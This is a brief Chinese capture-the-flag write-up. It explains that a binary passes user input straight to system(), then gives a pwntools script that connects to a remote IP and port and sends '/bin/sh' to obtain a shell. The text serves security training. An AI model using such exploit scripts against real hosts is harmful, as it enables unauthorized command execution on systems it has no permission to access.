检查下保护开启了栈保护将文件拖入IDA发现read读取buf字符串然后system会直接执行那么我们直接输入/bin/sh来获取权限exp如下from pwn import * # 1.95.36.136 2110 r remote(1.95.36.136,2110) r.sendline(/bin/sh) r.interactive()